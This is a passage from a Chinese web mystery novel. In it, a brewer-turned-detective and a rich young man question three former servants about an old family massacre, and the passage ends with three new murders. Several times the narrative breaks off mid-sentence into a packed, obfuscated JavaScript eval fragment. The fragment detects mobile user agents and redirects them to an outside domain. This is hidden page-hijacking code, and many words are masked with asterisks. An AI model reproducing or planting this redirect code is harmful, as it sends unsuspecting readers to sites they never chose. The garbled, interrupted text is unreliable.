“报了。可活不见人,死不见尸。又传说他们一家在京城有当大官的亲戚,全都以为他们投奔亲戚去了。时间一长,就再也没人把这事放在心上。” 苗景岚不由感慨世态炎凉,全家十余口一夜之间被灭门,官府和周边的人都不以为然。 “我已经弄清楚了,那王家人失踪之后,原先有在他们宅子里面做工的下人还有三人继续留在黎县生活。如今这几个人也是今非昔比,都有了各自的铺面,各自的营生。”贾仁洋洋自得的把自己打听到的消息告诉苗景岚,像是等待主人的夸奖一般。 可是,苗景岚如同冰霜般的脸不为所动,只是眉头微微皱了皱,问了一句:“都是一些什么人?” “一个是黎县最大的胭脂铺老板陆拾;一个是城东铁匠铺的老板袁大壮;还有一个算是混得惨一点,是城郊的渔夫刘宏。” 渔夫、铁匠、胭脂铺老板,这三个行业跨得还挺远。 主子一夜被灭门,手底下的仆人倒是活得逍遥,苗景岚觉得这几个人身上肯定有事。 “你打探到这些消息,花了多少银子?” 苗景岚的话把刚才还沉浸在喜悦中的贾公子拉回到残酷的现实中。 好像说得自己没多大本事似的,什么都是花钱买来的。 贾仁脸上一僵,语气不悦的说:“你打听这个做什么?县城的茶楼里都是消息灵透的人,多花几个钱打点一下跑堂的小伙计,自然什么都能打听到。” 陆拾开的胭脂铺就在黎县最繁华的大街,两个人打算先去那里。 一间两百多平米的铺子,里面林林总总摆放着各种各样的胭脂水粉,偶尔还会寄卖一点女子的成衣和糖水糕点。 来来往往的客人络绎不绝,铺子里面的伙计都有些忙不过来。 苗景岚一幅男子打扮,穿着普通男子的粗布长衣,看上去酸溜溜的。 小伙计一瞧他这一身,正眼都没有瞧一眼,就忙着招待其他的客人。 旁边站着的贾仁看着不得劲,头一昂,扇子一摇,特意摆出一幅财大气粗的样子:“你们这里最贵的胭脂多少钱,拿出来给我看看。” 这时,不知道从胭脂铺里面什么时候走出来一个胖子。 长得肥头大耳、膀大腰圆,身上穿着一件红色的华贵绸缎,腰间佩着羊脂白玉,身上是浓重的胭脂味,一上来就给人一种脑满肠肥之感。 那人咧开嘴一笑,露出里面的几颗大金牙,“嘿嘿嘿,这位公子,一看您就是识货之人。在下是这胭脂铺的老板,我们这店里有远近八乡最好的胭脂水粉。公子想要最贵最好的胭脂,请随我来。” 苗景岚下意识的和贾仁对视一眼,真是得来全不费功夫。 他们本来还想着怎么找小伙计打听到陆拾的消息,没想到这家伙倒是自己送上门来了。 贾仁一摇三摆的跟着陆拾进到胭脂铺的里间。 陆拾殷勤的让下人沏好茶,满脸堆着笑。 苗景岚继续扮演富贵公子身边的随从,十分听话的站在公子身边。 “公子,这是我们店里面最贵最好的胭脂,就是送进宫中给娘娘们用的贡品也不过如此。” 陆拾如同献宝一般捧出来一个精致的木制小盒。 那盒子上面雕刻着精美的花纹,盒子周围还镶着金线。 他小心翼翼的打开盒子,里面呛人的胭脂香味扑面而来。 “公子,您瞧瞧,这样好的胭脂若是送给心宜的姑娘,保准公子抱得美人归。” “哟,老板真是舌灿如花,好会做生意呀。万一我中意的姑娘是个母夜叉,不爱红妆爱武妆呢?” 贾仁抬眼瞧了一眼身边的“母夜叉”,“母夜叉”白了他一眼。 “嘿嘿嘿,公子真会说话。一看公子就是一个贵人,怎么会看上那样的女子?” “老板,你这胭脂多少钱?我买了。但我要向你打听一点事情,你要是据实相告,我今天就把东西买走。” 陆老板笑得很诚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15837549|175702||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 实,“公子想打听一些什么?” “三十多年前,陆老板你是不是在县里一户姓王的人家家里干活?那户人家现在去哪里了?陆老板当初为何离开那里?……” 不等贾仁把问题问完,陆老板的脸就先沉下来,声音带着警惕问道:“你究竟是什么人?” “陆老板不要管我是什么人,只要回答我的问题就行。只要你老实告诉我,别说买下这一盒胭脂,就算是买下十盒胭脂,也是可以的。” 陆拾此时的脸黑得如同锅底,一双眼睛像是充满怨毒的毒蛇一般狠狠盯着贾仁。 “哼,陆某在这黎县经营数十年,早就忘了三十年前的事情。我看公子特意跑到我的店里来,不是想买胭脂的,是想找茬的,恕陆某不能奉陪。来人呀,送客!” 胭脂铺里的小伙计很听话的把贾仁和苗景仁“送”到大门口。 “看你这问话的水平,直接被人撵出来。”苗景岚没好气的白了他一眼。 贾仁不服气的说:“这只能说明这个陆拾心里面有鬼,要不然我问起他三十年前的事情,他那么生气干什么?” “唉,从陆拾这里已经问不出什么了,我们还是去下一家吧。”苗景岚又和贾仁来到城东的铁匠铺。 袁大壮的铁匠铺比不上陆拾的胭脂铺,铺子里面冷冷清清的。 只看到一个人在烧红的炉子上打铁。 “请问老板在吗?” “我就是。”那打铁的汉子回过头看了苗景岚一眼。 在吸取上次的经验之后,这一回贾仁小心谨慎的问对方:“袁老板,你可认识陆拾?” 袁大壮立马换了一幅神情:“你问他做甚?” “三十年前,你们是不是都在黎县的王家做工?” 哪实袁大壮怒气冲冲的说:“那户人家早就**,那姓陆的也要**,反正都不是什么好人……” 贾仁和苗景岚大为吃惊,觉得这个袁大壮知道不少内幕,本想再问出一点什么,没想到脾气不好的袁大壮居然直接拿起大扫帚来赶人。 “哪里来的腌臜货,跑到我的铺子里面问长问短,若还不走,我用这刚打出来的锤子锤死你们!” 话一说完,袁大壮扭头就要拿起炉子上发红的铁锤。 顿时,吓得贾仁和苗景岚赶紧逃走。 第13章 黄酒(5) 贾仁和苗景岚狼狈的从铁匠铺里跑出来。 路过一家馄饨摊子,摊子上的老板好心提醒他们:“你们做什么惹到袁大牛?大牛虽然脾气不好,但平常很少对进店的客人发脾气的。” 苗景岚不由好奇,“他叫袁大牛,不是叫袁大壮吗?” 老板诡异的笑了一下,“他是叫袁大壮,但因为生了一幅牛脾气,所以我们都管他叫袁大牛。” 贾仁看这馄饨铺离着袁大壮的铁匠铺子不远,老板的头发又花白,不由问道:“老人家,你一直和那个袁大牛是邻居?” “嘿嘿,这小子光着屁股在这条街上跑的时候,我就认识他了。到他娶媳妇,开铁匠铺子,我都跟他是邻居。要论起辈份来,他的亲爹老子还要管我叫一声‘六叔’呢。” 贾仁见这位馄饨铺老板知道不少,索性叫苗景岚一块坐下,一人点了一碗馄饨。 “老人家,那个袁大牛确实不擅聊天,我本来想到他那里订一把菜刀,问他这门手艺学了多久,瞧他那炉火纯青的本事像是练了三十年。他说三十年前他还在一户姓王的人家家里干活,我一听,想起县里头最大胭脂铺里的陆老板也在王家干过活,问他认不认识,结果他就开始赶人!”贾仁开始向馄饨铺的老板抱怨。 苗景岚咽下一口小馄饨,觉得贾仁这家伙,推理探案的能力不行,这张口说瞎话的本事倒是一流。 馄饨铺的老板一听,恍然大悟,“你说你提谁不好,非要提那个陆拾,这可不是触了袁大牛的霉头吗?” 贾仁听出馄饨铺老板话里有话,继续追问:“怎么,这陆拾和袁大牛有仇?他们不是三十年前在同一户人家家里面干活吗?听说那户人家**,老板知道这件事吗?” “这我倒没有听说。只是那陆拾太不是东西……”说到这里,老头儿小声的对贾仁说,“我看公子也不是多嘴多舌之人,我今天告诉你的话,你可千万不要传出去。” “放心,老伯,我这个嘴可严了。” “袁大壮太过憨厚,四十好几才娶了这个媳妇,心疼的跟眼珠子似的。可没想到这媳妇也不是一个省心的,成天穿红戴绿的出门,跟那个胭脂铺的老板不清不楚。大壮也就是从那个时候开始变得脾气不好的,你一提陆拾的名字,他能不跟你生气吗?” 顿时,苗景岚和贾仁纷纷咂舌。 他们本来是想探听一下袁大壮和陆拾的过往,没想到还听到这种消息。 离开馄饨铺子,贾仁又开始嘴巴不停的跟苗景岚讨论起案情,“你说这陆拾给袁大壮戴一顶这么大的绿帽子,是不是跟他们三十年前的案子有关?**越货,分赃不均,若干年后陆拾勾搭袁大壮的娘子报一箭之仇?” 苗景岚无语望天,顿时感觉这男人的脑回路就是和女人不一样。 “你这简直是无稽之谈。先不说他们会不会承认那三十年前的案子与他们有没有关系,就算袁大壮和陆拾真有恩怨,也不会等到三十年后通过袁大壮的媳妇来报复。左右不过是听街边的左邻右舍嚼舌根子而已,是不是有这么一回事,还等见过袁大壮的娘子再说。话说回来,贾公子好像忘了咱们出来的正事,倒是喜欢这这些街头巷尾的腌臜事。” 言外之意,这个案子目前还是一头雾水,你倒是好,关心起人家的媳妇有没有偷汉子,还真是不务正业,不是个正经人。 被苗景岚这样讽刺,也不气恼,“既然那两个人那里都没有问出什么,只有去找第三个人。” 渔夫刘宏住在郊外,起初苗景岚和贾仁都以为很难找。 可当他们到了郊外,随便找一个人问起刘宏,都是一种惊恐厌恶的表情,好像每个人都不愿意提起这个人。 “那个怪人,独自一个人住在河边的茅草棚子里。” “我劝你们还是不要去找他,那个人是疯子。”好心的大婶提醒道。 贾仁和苗景岚还是找到刘宏的住处。 一个用竹子和茅草搭建的窝棚,比大户人家的猪圈好不到哪里去,贾仁始终不相信这地方能住人。 走近茅草棚,就见旁边挂着渔网和几件男人穿的换洗衣服。 还不等他们走进去,苗景岚就闻到一股浓重的血腥味,然后就听到一个男人碎碎念着:“早死好,早死去投胎。我把你送回阴曹地府,你要感激我才对……” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15837550|175702||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >即使是白天,听到这声音也有点儿让人战战兢兢的感觉。 贾仁只觉得这里感觉有些阴森森的,后背有些发毛。 但碍于在苗景岚的面前,他还是壮着胆子推开门。 “刘宏是住在这里吗?” 在门被推开的那一刹,里面的那个手握着刀的男人转过脸来。 贾仁和苗景岚才看清楚,那个脸上有着一道长长伤疤的男人正拿着一把尖刀在剖鱼。 那男人不过四十多岁的年纪,却是一头的白发,脸上的那道伤疤更加增添几分恐怖的感觉,看上去凶神恶煞的。 那人不厌烦的问:“你们是谁?找我做甚?” 听到对方就是要找的刘宠,苗景岚和贾仁在心里面都不由有些吃惊。 看年纪,刘宏和陆拾、袁大壮相似,可陆拾现在是胭脂铺老板,袁大壮再不济也开了一家铁匠铺。 怎么刘宏和他们一比,相差那么多。 特别是刘宏这张脸,看上去比陆拾和袁大壮苍老许多。 贾仁走上前一步,“我听说你是这里最好的渔夫,想向你订一批鱼,我可以先付你订金。” 刘宏打量对方一眼,眼中带着怀疑:“你要买鱼?街上没有鱼贩肯卖给你吗?” “那些鱼贩心黑手黑的,卖的鱼不新鲜,要价还特别高。我打算开一家酒楼,要一个放心的渔夫长期给我提供新鲜的鱼。这买卖要是谈成的话,以后打的鱼都供给我的酒楼。” 刘宏半信半疑,“你想要什么样的鱼?” “鱼嘛,只要新鲜,不论大小。不过,这卖鱼的人必须诚实可靠,你可是从小就在这里打渔?” “不是。” “以前是干什么营生的?” “以前在大户人家里做工。” “哪个大户人家?有什么凭证吗?若是那个大户人家愿意替你作保,我们今天这买卖就算谈成了。” 贾仁打算借一步问下去,说不定就问出被灭门的王家人的事情。 可是,刘宏不知道突然抽什么风,陡然间变脸:“你是个骗子,你是个骗子,快滚!要不然,我直接把你给剖了……” 第14章 黄酒(6) 刘宏天天在河边打渔为生,体格本就健硕。 遇上整天养尊处优的富贵闲人贾公子,两个人自然不在同一水平线上。 刘宏推推搡搡就把贾仁推出门外,苗景岚也跟着他走出来。 苗景岚一点儿也不怀疑,处于神经癫狂状态的刘宏会不会真的用杀鱼刀捅上一刀,毕竟刘宏可是名声在外的。 贾仁被刘宏推出来,有些心有不甘。 “刘宏这个疯子,等会儿我再叫上两个人,把他捆了。逼他说出三十年前的事情,我就不信他还像现在这样凶!” “你都知道他是一个疯子了,还跟他一般见识。我看今天天色也不早了,我们先回去吧。” 被苗景岚劝了几句,贾仁才稍微平息一下怒火。 想想今天把三个人的情况都摸了一遍,但还是没有找到跟灭门案有关的线索。 贾仁有些垂头丧气。 只是没有想到,迎面就遇上他们不想遇上的人。 刑捕头这些天也是焦头烂额,之前的西域案刚刚结案,又遇上三十多年前的灭门案。 也不知道是这黎县太晦气,还是新来的县令大人是扫帚星附体,怎么这人命案是一桩接着一桩。 他花了一番功夫才查到死者的一些信息,马不停蹄的带着几个捕快来到刘宏的住处,迎面就看到贾仁和苗景岚两个。 贾仁来这黎县不过两个来月,是一个从京城来的纨绔,出手阔绰,爱管闲事。 刑凌不知其底细,不敢轻易得罪。 但是跟贾仁相比,明岚酒坊的这酿酒丫头就比较邪性。 不但懂得验尸,还敢在县衙里问新来的县令大人讨验尸日志,伶牙俐齿的样子,一点儿也不像他那个闷葫芦一般的兄长。 看到这两个人走在一起,刑凌有些不痛快。 手里握着大刀刀柄,横刀卧马的就拦在两人跟前。 贾仁看到刑捕头,讪讪一笑,“哟,刑捕头,您怎么也在这里?真是好巧哦。” “我们刚查到有个叫刘宏的渔夫曾经在灭门的王家当下人,特来这里寻觅此人,你们该不会也是冲着这个刘宏来的吧?”刑捕头警惕的问道。 贾仁刚从刘宏里被赶出来,肚子里面有些不痛快,听到刑捕头的话,不由怼上两句:“呵呵,是又如何,不是又如何?刑捕头,您老人家管得还真宽!” “哼,县里出了人命案,都是官府出面查案,几时轮到你们这百姓多管闲事?上一个案子算是你们侥幸,难不成你们还真想跟县衙里比谁先查出凶手?”因为西域人的案子,县里面的百姓已经传得沸沸扬扬,说这县衙里的捕快不顶事,最后还是明岚酒坊的女酿酒师查出真相,这让刑凌和县衙里的官差觉得鸭梨山大。 “你们捕快忙不过来,我们自愿帮忙,何错之有?”贾仁挺着腰板,这京城富贵公子的派头是拿得十足。 眼看着两个人剑拔**张、**味十足。 苗景岚只得打起圆场,“我们只是来这郊外看看风景,不是来查什么案子。凌捕头,不用想太多。” “对呀。我们就是来看风景的,凌捕头难道连这都要管?”贾仁也顺着苗景岚说回来。 “哼,不是就好。若是你们多管闲事,抢着来查案,到时候休要怪我跟县令大人告状,治你们一个阻碍公差办案之罪。”刑捕头瞧着两人冷冷说道。 这话又把贾仁给惹恼了,“诶,我说你这是什么话?明明是你们办案不利,我们没拿官府的银子帮你们查案,还成了多管闲事,阻碍办案?我看是你们破案无能,又妒忌我们比你们先破案吧。” 苗景岚见贾仁这架势,生怕他惹出什么麻烦,帮忙打着哈哈:“凌捕头,他今天在我的酒坊多喝了几杯,有些醉了。您不要跟他一般见识,我们先走一步。” 说完,拉着贾仁赶紧离开。 “你怕他做甚?难不成他还真敢把我丢进县衙,哼,他要是真的敢这样做,只怕到时候吃苦头的是他自己!”贾仁完全不在乎凌捕头这样的角色。 “你就别在这里吹牛了。今天我也累了,咱们都各自回去吧。”苗景岚想打发贾仁离开。 可是,贾仁像是突然想起什么。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15837551|175702||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “不成。他们在我们之后去问刘宏,万一他问出一点儿什么情况,岂不是要赶在我们之前弄清楚真相。不成,我得偷偷回去看看,万一有线索呢。” 贾仁丢下这话,立马转身离开,追着刑凌去了。 苗景岚也懒得管这么多,她故意绕开大路,走一条几乎无人的小路。 小路上野草杂生,四周静悄悄的,只听得见草丛中虫子的鸣叫声。 苗景岚故意放慢脚步,只等一直尾随她的人露出狐狸尾巴。 其实从离开酒坊开始,她就一直觉得身后被人跟踪。 只是同贾仁这个没心没肺的富贵公子在一起,不好展开行动。 直到刚才来到郊外,苗景岚观察一下四周的环境,才敢使出这招引蛇出洞。 她一直在想,这个暗地里跟踪自己的人会是谁。 自己只是一个酿酒师,在黎县也没有什么仇人,想来想去唯一能跟自己结仇的只有案子里的凶手。 杨小兰已经被关起来,只等秋后问斩。 如果不是与杨小兰有关之人,那就是想阻碍她查案的人,说不定就是凶手本人。 这样一想,苗景岚的步伐又慢上几分。 只等对方主动出手,她好来一个瓮中捉鳖。 前世她的身后不错,一个人出去办案从来没有出过事,甚至徒手还能直接撂倒**。 只是穿越到一个手无缚鸡之力的酒娘身上,她不能轻易露出自己的本事。 只见走到小路的尽头,从后面突然冲出来一个人影。 二话不说,举起麻袋就要往苗景岚的头顶上罩下来。 苗景岚哪里能让他如愿,欠身一躲,躲过那个要罩住自己的麻袋。 然后,又身形利索的扭过身,转身就捉住那人的胳膊。 一个漂亮的过肩摔,就反客为主,把那人压在腿下,直把那人疼得连连讨饶。 苗景岚刚想质问对方,‘是谁派你来的?’ 没想到当她看清楚那人的脸时,不由露出几分意外的表情,“怎么会是你?” 第15章 黄酒(7) 苗景岚真的没有想到,一路上跟踪自己,并且还想**自己的人会是邓三。 “你跟踪**什么?”苗景岚虽然从来没有把邓三当作对手,但架不住对方硬要上来找茬。 “谁说我跟踪你?这路这么宽,准你走就不准我走了?”邓三还想狡辩。 苗景岚不客气的把麻袋往他头顶一扔,“你走路还带个麻袋?今天若是说不清楚的话,我今天就把你打成麻袋。” 话一说完,苗景岚的拳头就毫不客气的在邓三身上挥舞。 邓三丝毫不怀疑苗景岚话里面的真假,就在刚刚,他已经见识过苗景岚的凶悍。 之前都说明岚酒坊的丫头在摔破头后突然开窍,变得伶牙俐齿还会探案验尸,引得明岚酒坊的生意都好了许多。 邓三对这些道听途说不以为然,在他眼里,苗景岚就是一个爱出风头的野丫头。 本想着教训她一番,免得她老在牟仵作面前晃呀晃,也断了牟仵作另外收徒的念想。 没想到那传言居然是真的,这个只会酿酒的丫头什么时候学会**?还打得**这样狠? “姑奶奶,我错了,我错了还不成吗?别打了,求你别打了!” “是我故意跟踪你,想趁人不注意把你掳走,吓唬你一下,明天再把你送回家。” “我只是不想牟仵作收你为徒,没想真的害你呀!苗姑娘,你就饶了我这一回吧。” 苗景岚知道这里不同于她原来的那个世界,人口可以拿去买卖,只要伪造一份**契,邓三就可以把她丢到其他地方的青楼。 好在苗景岚有功夫傍身,否则现在的她真是凶多吉少。 “哼,吓唬我?若不是见自己打不过我,只怕现在就被你卖到青楼了!” 想到这些,苗景岚又结结实实的猛揍对方一顿。 知恩图报是苗景岚的底线,但有仇必报也是苗景岚的原则。 对付邓三这样的恶人,就应该这样。 出了一顿气之后,苗景岚对被打成猪头的邓三说:“实话告诉你,我对当什么仵作没兴趣。否则当初牟仵作想要招揽我时,我就答应下来,你不用操这个闲心。” “以后你拜你的师,我办我的事,咱们井水不犯河水。若是以后我再发现你想图谋不轨,可别怪我拳头底下不留情面。快滚吧!” 邓三一听这话,吓得屁滚尿流的就要走。 “等等!”苗景岚喊住对方。 邓三以为苗景岚要反悔,扑通一声跪下来:“姑奶奶饶命,姑奶奶饶命!小的以后再也不敢招惹姑娘了,要是我再来惹你,就让我下辈子变成一只活王八!” “今天的事情你对谁都不准说。要是有人问起你脸上的伤……” “行,我就说我自己摔的。”邓三很上道的说。 “摔能摔成这样?”苗景岚有些怀疑。 “我夜晚走山路,眼瞎从山上摔下来的。” “好。”苗景岚从心里面笑了一声。 然后,邓三就头也不回的跑回家。 无论在前世还是今世,都是信奉弱肉强食。 对待邓三这种欺软怕硬的货色,就应该比他更强,否则今天倒霉的肯定是自己。 苗景岚回去休息一个晚上。 第二天早上,富贵闲人贾公子就登门拜访。 贾仁来到明岚酒坊,首先开门的却是苗景明。 “贾公子,怎么这么早就来了?酒坊还没有开门呢。”苗景明见到贾仁心里不快,但面上的功夫还是做得十足。 “我找苗姑娘。” “额,这……” 大清早的一个富贵公子就来平民百姓的家里找一个待字闺中的姑娘,这传出去还得了。 “贾公子,舍妹还在休息。你未曾婚配,她又待字闺中,你们来往过密,是不是与理不和?” “苗老板,你想多了。我找你妹子是来讨论酒的,这是我从京城得来的一壶好酒,名叫“玉香春”。她不是说自己酿不出好酒吗?我特意来给她尝尝,看她有没有本事也酿出一壶来。” 一听这话,倒是打消了许多苗景明的顾虑。 毕竟是酿酒世家,遇上稀有的佳酿,怎么可能不动心。 “那贾公子请吧,舍妹恐怕此刻还在院子里。” 贾仁朝苗景明 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15837552|175702||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 俏皮一笑,俊俏的白面公子嘴角微微咧开一个弧度,还真有一种修炼千年小狐妖的感觉。 他快步走到院中,正看到一身黑衣劲装的苗景岚,闭着双眼,双手托着后脑勺倒立在院中的墙角,像是在练什么怪异的武功,又像是修身养性,一时间不知道该说些什么。 他平常见到的苗景岚虽不苟言笑,但终归是一个女子的打扮,可今天她穿着一件男子的劲装,乍眼看去竟有一种雌雄莫辨的美。 世上女子无数,而眼前的这位怕是最特别的一位。 “傻呆呆的站在那里干什么?这么早来找我,有什么事?”蓦然间苗景岚睁开眼,然后以一个轻松的后空翻站立在贾仁的面前。 “你这是在哪里学来的武功。”贾仁好奇的问。 “孩提时遇到个流浪道士,给了他一碗饭,他感激我教了我一些防身的怪招式,算不得什么武功。”苗景岚打着马虎眼,她跟大哥说这是流浪道士养的养生招式,只希望不要露出什么破绽。 “我来找你,自然是因为那桩灭门案。那个刘宏还真是一个癫汉,刑凌带着人去问他话,他又把刑凌赶出来了,差点儿气得刑凌要把他捉回县衙关起来。”贾仁笑眯眯的跟苗景岚诉说,颇有一点儿幸灾乐祸的意味。 “就因为这事,你特意在清早跑来找我?”苗景岚白了对方一眼。 “别急呀,我话还没有说完。等衙门里的官差走了,我又到河边问了问,刘宏的邻居都说刘宏是个疯汉。而且,每个月的初一十五都要去岸边烧纸钱,也不知道烧给谁的。”贾仁坐下来,喝了一口自己带过来的酒,“你说,刘宏烧纸钱是烧给谁?” “这我哪里知道,多半是他家的亲人吧。” “他家哪里有什么亲人?我早就打听过了,他是一个孤儿,从小连爹娘是谁都不知道。” 苗景岚沉默的想,这个刘宏还真有嫌疑。 三十年前在王家打工的三人,只有他混得最差。 好端端的又突然疯了,初一、十五还要烧纸钱。 这里面一定有什么猫腻。 半晌,苗景岚突然开口,“我倒有一个主意。” 第16章 黄酒(8) 黎县一家不起眼的客栈。 不一会儿,从里面走出来一位穿着浅色长衫,下巴上留着短须,举着“铁齿神算”招牌的算命先生。 贾仁看着这幅装扮的苗景岚,不由调笑起来:“哟,这是哪里跑出来的算命先生?你觉得你这一身装扮可以骗过刘宏?” “为什么不可以?他可是一个神志不清的疯子。我算过了,今天是阴历十五,又是他到河边烧香的日子。我要是扮成算命先生,跟他免费算一卦,你说他会不会上当?” 贾仁用手托起下巴,仔细琢磨起来。 经过之前那个案子,他知道苗景岚一向鬼点子多。 别看眼前这个女子瘦瘦弱弱,但总是能够想到别人想不到的东西,而且身手也不弱。 他像是一点儿也看不透他。 “嗯,试倒是可以一试。但是,你独自去找刘宏,我有点儿不放心。要不我跟着你一块去?” “你跟着我去,那十有**非得露馅不可。”苗景岚轻笑一声,虽然觉得贾仁说想要保护自己有些不切实际,却还是心头一暖,“刘宏见过你,倒是没有怎么在意我,我换身装扮,他未必认得出。” “那我也不放心你一个人去。要不等会儿你给他算命,我扮成渔夫在你周围,这样总行吧。”贾仁依旧坚持。 “行,那我们一块走吧。” 贾仁找到街边的一个渔夫,花点银子买下他一身的行头,然后戴着斗笠,拿着渔网,跟在苗景岚后面。 来到黎县郊外,刘宏住处的不远处。 就见刘宏蹲在一个小山丘边,面前插着几支香。 刘宏念念叨叨烧着纸钱。 “你们**这么多年,现在才露出尸骨,有冤无处诉……” “要怪就怪他们两个,跟我……跟我没关系……” “当**情都是他们做的,你不要再来找我……” “念在我每个月都跟你们烧纸钱的份上,就不要再缠着我吧……” …… 听到刘宏的自言自语,苗景岚心时面的怀疑更多。 听他刚才的话,难不成当年的案子真的跟他们有关。 想到这些,苗景岚快步走上前。 “算命,算命,免费算命!‘铁齿神算’,不准不要钱,不准不要钱呀!”苗景岚故意在烧纸钱的刘宏面前晃一晃。 她这一喊,果然引起刘宏的注意。 刘宏扭过脸来,一脸的厌烦,“走开走开,别在这里影响我烧纸钱。” “这位大哥,我看你乌云盖顶,印堂发黑,可是最近有什么烦心的事情?”苗景岚打量刘宏,一脸惊讶的问道。 “少在这里胡说八道,老子……老子好得很!”刘宏看似烦躁,但脸上的表情带着几分心虚。 “大哥,不要急嘛。我看你在这里烧纸钱,可是这里缅怀某位故人,是这位故人老缠着你,是吗?我可以跟你免费算一卦,保你趋吉避凶,否极泰来!” “真的假的?不要钱?你可不要骗老子。”刘宏半信半疑的问道。 “当然。大哥,我先给你算一卦,你看我算得准不准?”说完,她从随身带来的布褡裢里翻出一个签桶,“你先抽上一支签。” 刘宏果然从里面抽出一支签,他看了一眼上面的字:中签。 苗景岚看了一眼那签,煞有介事的说:“大哥,你主命犯水。从小父母双亡,长大后又投靠富贵人家。起初那户人家对你不错,可惜他们也是福薄命浅的,没过多久就**,你却因此常年陷入自责里。” “这位大哥,不知道我说得准不准?” 苗景岚说到这里,把视线转移到刘宏的身上。 只见刘宏一脸的惊恐状,两只眼睛瞪得又大又圆,惊讶的说道:“准,准,太准了!这些事情都被你算对了!” 站在不远处的一棵大树后面偷偷看的贾仁忍不住偷笑起来:呵呵,那些事情都是自己和苗景岚事先都调查了解过的,能说得不准吗? 要不怎么说刘宏是疯子呢。疯子这么好骗,一说一个准。 “大哥,当**情其实不赖你,要怪就怪另外两个人。可偏偏那冤死的人不知道,天天化成厉鬼来找你。你是不是因为这个事,天天睡不好觉,所以每个月初一、十五来烧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15837553|175702||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 纸钱?” “对,猜对了,全猜对了!”刘宏一脸的惊喜,刚才还怀疑苗景岚,现在对苗景岚说的话深信不疑,“我说活神仙,既然你什么都知道,不如帮我算一算,要怎样才能化解?因为这个事情,老子**好多年都没有睡过一晚好觉了。” “这个嘛,说难也不难,说简单也不简单,就看你敢不敢做了。” “活神仙想要我怎样做?”刘宏焦急的问道。 “很简单,把你知道的一切向县令老爷说出来,就可以了却前世冤孽,你也可以好好睡觉。” 刘宏犹豫起来。 “怎么,你不敢?当**情不能全部怪你,要怪就怪另外两个人,全是他们的错。就算你到县令老爷那里说出实情,就算怪罪下来也是怪罪他们两个。你要是什么都不说,就是有意替他们隐瞒,到时候别说县令大人,就是那户人家的鬼魂也不会放过你!” 当刘宏听完苗景岚的这番话,特别是最后那句话后,马上连连答应:“是是是,神仙大人说的是。我明天就去县衙把事情说出来。” 等刘宏走远,贾仁走过来。 “你说他明天会不会到县衙去?”贾仁问。 “不知道。” 第二天,贾仁和苗景岚守在县衙外面,果然看到刘宏走进县衙。 可是他们没有猜到,就在一天,黎县又发生一件大事。 昨天晚上,城东的铁匠铺里**三个人。 铁匠袁大状和他媳妇,还有胭脂铺的老板陆拾,一大早被人发现全部倒在血泊中。 每个人都身中数刀,血肉模糊。 被人发现时,尸体早就凉了。 看样子是头天晚上被人杀死在家里。 顿时,黎县的百姓议论纷纷。 有说袁大壮和媳妇吵架,一气之下杀死媳妇,连带着过来劝架的陆拾也给杀了; 有说袁大壮的媳妇偷汉子,和胭脂铺的老板陆拾暗通款曲,被戴绿帽子的袁大壮杀死的; 也有人说是袁大壮借了陆拾一大笔银子却还不起,陆拾让他用老婆还债,结果被袁大壮一块收拾的…… 第17章 黄酒(9) 侯县令觉得自己入仕的时候肯定没有烧对香,他寒窗苦读数十年,好不容易熬到一县的县令,却没有想到上任不足三月就发生三起人命案子。 是不是他跟这黎县八字不合,要不要跟上头申请,换一个地方当县令? 正当他焦头烂额之时,就听到县衙外有人击鼓。 